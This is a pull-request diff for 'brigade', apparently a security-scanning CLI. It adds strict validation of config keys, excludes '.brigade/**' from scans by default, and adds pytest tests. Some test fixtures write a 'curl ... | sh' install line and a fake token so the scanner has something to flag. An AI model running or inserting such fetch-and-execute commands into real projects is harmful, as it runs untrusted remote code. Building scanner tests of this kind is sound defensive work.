Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
64 changes: 57 additions & 7 deletions src/brigade/security_cmd/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -39,9 +39,33 @@ def _parse_toml_value(raw: str) -> object:
return value


def _read_toml_object(path: Path) -> dict[str, object]:
@dataclass(frozen=True)
class _SecurityToml:
data: dict[str, object]
top_level_keys: frozenset[str]
suppressions_keys: frozenset[str]
enrichment_keys: frozenset[str]


def _validate_config_keys(parsed: _SecurityToml) -> None:
unknown_top = parsed.top_level_keys - CONFIG_TOP_LEVEL_KEYS
if unknown_top:
raise ValueError(f"unsupported security config key: {', '.join(sorted(unknown_top))}")
unknown_suppressions = parsed.suppressions_keys - CONFIG_SUPPRESSIONS_KEYS
if unknown_suppressions:
raise ValueError(f"unsupported suppressions key: {', '.join(sorted(unknown_suppressions))}")
unknown_enrichment = parsed.enrichment_keys - CONFIG_ENRICHMENT_KEYS
if unknown_enrichment:
raise ValueError(f"unsupported enrichment key: {', '.join(sorted(unknown_enrichment))}")


def _read_toml_object(path: Path) -> _SecurityToml:
data: dict[str, object] = {}
current = data
current_section = "top"
top_level_keys: set[str] = set()
suppressions_keys: set[str] = set()
enrichment_keys: set[str] = set()
for line_number, raw_line in enumerate(path.read_text().splitlines(), start=1):
line = raw_line.split("#", 1)[0].strip()
if not line:
Expand All @@ -50,6 +74,7 @@ def _read_toml_object(path: Path) -> dict[str, object]:
table = line[1:-1].strip()
if table not in {"suppressions", "suppression_reasons", "enrichment"}:
raise ValueError(f"invalid security config line {line_number}: unsupported table [{table}]")
current_section = table
current = data.setdefault(table, {})
if not isinstance(current, dict):
raise ValueError(f"invalid security config line {line_number}: {table} must be a table")
Expand All @@ -60,15 +85,34 @@ def _read_toml_object(path: Path) -> dict[str, object]:
key = key.strip()
if not key:
raise ValueError(f"invalid security config line {line_number}: empty key")
current[key] = _parse_toml_value(raw_value)
return data
value = _parse_toml_value(raw_value)
if current_section == "top":
top_level_keys.add(key)
current[key] = value
elif current_section == "suppressions":
suppressions_keys.add(key)
current[key] = value
elif current_section == "suppression_reasons":
current[key] = value
else:
enrichment_keys.add(key)
current[key] = value
parsed = _SecurityToml(
data=data,
top_level_keys=frozenset(top_level_keys),
suppressions_keys=frozenset(suppressions_keys),
enrichment_keys=frozenset(enrichment_keys),
)
_validate_config_keys(parsed)
return parsed


def load_config(target: Path) -> SecurityConfig | None:
path = config_path(target.expanduser().resolve())
if not path.is_file():
return None
data = _read_toml_object(path)
parsed = _read_toml_object(path)
data = parsed.data
policy = data.get("policy", "personal")
if not isinstance(policy, str) or policy not in POLICIES:
raise ValueError("policy must be one of: ci, personal, public-repo, strict")
Expand All @@ -87,7 +131,10 @@ def load_config(target: Path) -> SecurityConfig | None:
allowed=SECURITY_CHECKS,
)
include_paths = _parse_string_list(data.get("include_paths", []), field_name="include_paths")
exclude_paths = _parse_string_list(data.get("exclude_paths", []), field_name="exclude_paths")
if "exclude_paths" in parsed.top_level_keys:
exclude_paths = _parse_string_list(data.get("exclude_paths", []), field_name="exclude_paths")
else:
exclude_paths = DEFAULT_EXCLUDE_PATHS
severity_threshold = data.get("severity_threshold", "low")
if not isinstance(severity_threshold, str) or severity_threshold not in SEVERITY_ORDER:
raise ValueError("severity_threshold must be one of: info, low, medium, high, critical")
Expand Down Expand Up @@ -151,6 +198,9 @@ def _parse_enrichment_config(raw: object) -> SecurityEnrichmentConfig:
return SecurityEnrichmentConfig()
if not isinstance(raw, dict):
raise ValueError("enrichment must be a table")
unknown = set(raw.keys()) - CONFIG_ENRICHMENT_KEYS
if unknown:
raise ValueError(f"unsupported enrichment key: {', '.join(sorted(unknown))}")
provider = raw.get("provider")
if provider is not None:
if not isinstance(provider, str) or provider not in ENRICHMENT_PROVIDERS:
Expand Down Expand Up @@ -207,7 +257,7 @@ def _effective_policy(
include_templates=effective_include_templates,
enabled_checks=loaded.enabled_checks if loaded is not None else SECURITY_CHECKS,
include_paths=loaded.include_paths if loaded is not None else (),
exclude_paths=loaded.exclude_paths if loaded is not None else (),
exclude_paths=loaded.exclude_paths if loaded is not None else DEFAULT_EXCLUDE_PATHS,
severity_threshold=loaded.severity_threshold if loaded is not None else "low",
output_path=loaded.output_path if loaded is not None else ARTIFACTS_REL_PATH,
suppressions=loaded.suppressions if loaded is not None else (),
Expand All @@ -233,7 +283,7 @@ def write_default_config(target: Path, *, force: bool = False) -> Path:
"include_templates = false",
'enabled_checks = ["automation", "mcp", "permissions", "prompt-injection", "secrets", "supply-chain"]',
"include_paths = []",
"exclude_paths = []",
'exclude_paths = [".brigade/**"]',
'severity_threshold = "low"',
'output_path = ".brigade/security/latest"',
"",
Expand Down
34 changes: 33 additions & 1 deletion src/brigade/security_cmd/models.py
Original file line number Diff line number Diff line change
Expand Up @@ -88,6 +88,38 @@
)


DEFAULT_EXCLUDE_PATHS = (".brigade/**",)


CONFIG_TOP_LEVEL_KEYS = frozenset(
{
"policy",
"scan_profile",
"fail_on",
"include_templates",
"enabled_checks",
"include_paths",
"exclude_paths",
"severity_threshold",
"output_path",
}
)


CONFIG_SUPPRESSIONS_KEYS = frozenset({"fingerprints"})


CONFIG_ENRICHMENT_KEYS = frozenset(
{
"provider",
"misp_url",
"misp_api_key_env",
"timeout_seconds",
"cache_path",
}
)


SKIP_DIRS = {
".git",
".hg",
Expand Down Expand Up @@ -337,7 +369,7 @@ class SecurityConfig:
include_templates: bool | None = None
enabled_checks: tuple[str, ...] = SECURITY_CHECKS
include_paths: tuple[str, ...] = ()
exclude_paths: tuple[str, ...] = ()
exclude_paths: tuple[str, ...] = DEFAULT_EXCLUDE_PATHS
severity_threshold: str = "low"
output_path: str = ARTIFACTS_REL_PATH
suppressions: tuple[str, ...] = ()
Expand Down
176 changes: 176 additions & 0 deletions tests/test_security_cmd.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
import json

import pytest

from brigade import cli
from brigade import learn_cmd
from brigade import release_cmd
Expand Down Expand Up @@ -189,6 +191,8 @@ def test_security_policy_pack_closeout_release_and_candidate_evidence(tmp_path,
def test_security_accepted_risk_closeout_quiets_matching_findings_and_resurfaces_changes(tmp_path, capsys):
assert security_cmd.init(target=tmp_path) == 0
capsys.readouterr()
config_path = tmp_path / ".brigade" / "security.toml"
config_path.write_text(config_path.read_text().replace('exclude_paths = [".brigade/**"]', "exclude_paths = []"))
harness_dir = tmp_path / ".brigade" / "hermes"
harness_dir.mkdir(parents=True)
(harness_dir / "workspace.harness.json").write_text(json.dumps({"endpoint": "https://agent.private/api"}, indent=2))
Expand Down Expand Up @@ -337,6 +341,18 @@ def test_security_scan_deep_mcp_config_checks(tmp_path, capsys):
def test_security_scan_harness_wiring_checks_cross_harness_json(tmp_path, capsys):
brigade_dir = tmp_path / ".brigade"
brigade_dir.mkdir()
(brigade_dir / "security.toml").write_text(
"\n".join(
[
'policy = "personal"',
"exclude_paths = []",
"",
"[suppressions]",
"fingerprints = []",
"",
]
)
)
(brigade_dir / "handoff-sources.json").write_text(
json.dumps(
{
Expand Down Expand Up @@ -712,6 +728,166 @@ def test_security_scan_cli_excludes_brigade_glob_from_self_scan(tmp_path, capsys
assert not security_cmd._path_matches_any("nested/.brigade/evidence.json", (".brigade/**",))


def test_security_scan_excludes_brigade_by_default_without_config(tmp_path, capsys):
(tmp_path / "hooks" / "install.sh").parent.mkdir(parents=True)
(tmp_path / "hooks" / "install.sh").write_text("curl https://example.invalid/install.sh | sh\n")
brigade_evidence = tmp_path / ".brigade" / "center" / "reports" / "operator-one"
brigade_evidence.mkdir(parents=True)
(brigade_evidence / "CENTER_EVIDENCE.json").write_text(
json.dumps(
{
"findings": [
{
"path": "README.md",
"line": 42,
"safe_excerpt": "npx -y @example/unpinned-package",
"category": "supply-chain",
"title": "Unpinned remote package execution",
}
]
}
)
+ "\n"
)

assert security_cmd.scan(target=tmp_path, fail_on="none", json_output=True) == 0
report = json.loads(capsys.readouterr().out)

finding_paths = {finding["path"] for finding in report["findings"]}
scanned_paths = set(report["scanned_files"])
assert report["exclude_paths"] == [".brigade/**"]
assert finding_paths == {"hooks/install.sh"}
assert not any(path.startswith(".brigade/") for path in finding_paths)
assert not any(path.startswith(".brigade/") for path in scanned_paths)


def test_security_init_default_config_excludes_brigade(tmp_path, capsys):
(tmp_path / "hooks" / "install.sh").parent.mkdir(parents=True)
(tmp_path / "hooks" / "install.sh").write_text("curl https://example.invalid/install.sh | sh\n")
brigade_secret = tmp_path / ".brigade" / "evidence" / "secret.txt"
brigade_secret.parent.mkdir(parents=True)
brigade_secret.write_text("SERVICE_TOKEN=abcd1234abcd1234abcd1234\n")

assert security_cmd.init(target=tmp_path) == 0
capsys.readouterr()
loaded = security_cmd.load_config(tmp_path)
assert loaded is not None
assert loaded.exclude_paths == (".brigade/**",)

assert security_cmd.scan(target=tmp_path, fail_on="none", json_output=True) == 0
report = json.loads(capsys.readouterr().out)
finding_paths = {finding["path"] for finding in report["findings"]}
assert finding_paths == {"hooks/install.sh"}
assert ".brigade/evidence/secret.txt" not in report["scanned_files"]


def test_security_explicit_empty_exclude_paths_scans_brigade(tmp_path, capsys):
brigade_secret = tmp_path / ".brigade" / "evidence" / "secret.txt"
brigade_secret.parent.mkdir(parents=True)
brigade_secret.write_text("SERVICE_TOKEN=abcd1234abcd1234abcd1234\n")
config = tmp_path / ".brigade" / "security.toml"
config.write_text(
"\n".join(
[
'policy = "personal"',
'scan_profile = "local-only-audit"',
'fail_on = "none"',
"include_templates = false",
"exclude_paths = []",
'severity_threshold = "low"',
'output_path = ".brigade/security/latest"',
"",
"[suppressions]",
"fingerprints = []",
"",
]
)
)

loaded = security_cmd.load_config(tmp_path)
assert loaded is not None
assert loaded.exclude_paths == ()

assert security_cmd.scan(target=tmp_path, fail_on="none", json_output=True) == 0
report = json.loads(capsys.readouterr().out)
assert ".brigade/evidence/secret.txt" in report["scanned_files"]
assert any(finding["path"] == ".brigade/evidence/secret.txt" for finding in report["findings"])


def test_security_config_rejects_unknown_top_level_key(tmp_path):
config = tmp_path / ".brigade" / "security.toml"
config.parent.mkdir(parents=True)
config.write_text('unknown_setting = "nope"\n')

with pytest.raises(ValueError, match="unsupported security config key: unknown_setting"):
security_cmd.load_config(tmp_path)


def test_security_config_rejects_unknown_suppressions_key(tmp_path):
config = tmp_path / ".brigade" / "security.toml"
config.parent.mkdir(parents=True)
config.write_text(
"\n".join(
[
'policy = "personal"',
"",
"[suppressions]",
"fingerprints = []",
"legacy_ids = []",
"",
]
)
)

with pytest.raises(ValueError, match="unsupported suppressions key: legacy_ids"):
security_cmd.load_config(tmp_path)


def test_security_config_rejects_unknown_enrichment_key(tmp_path):
config = tmp_path / ".brigade" / "security.toml"
config.parent.mkdir(parents=True)
config.write_text(
"\n".join(
[
'policy = "personal"',
"",
"[enrichment]",
'provider = "local"',
"extra_flag = true",
"",
]
)
)

with pytest.raises(ValueError, match="unsupported enrichment key: extra_flag"):
security_cmd.load_config(tmp_path)


def test_security_config_allows_suppression_reasons_fingerprint_keys(tmp_path):
fingerprint = "a" * 64
config = tmp_path / ".brigade" / "security.toml"
config.parent.mkdir(parents=True)
config.write_text(
"\n".join(
[
'policy = "personal"',
"",
"[suppressions]",
f'fingerprints = ["{fingerprint}"]',
"",
"[suppression_reasons]",
f'{fingerprint} = "reviewed local fake token"',
"",
]
)
)

loaded = security_cmd.load_config(tmp_path)
assert loaded is not None
assert loaded.suppressions == (fingerprint,)
assert loaded.suppression_reasons[fingerprint] == "reviewed local fake token"


def test_security_scan_include_paths_do_not_open_unrelated_files(tmp_path, monkeypatch):
included = tmp_path / "included"
included.mkdir()
Expand Down
Loading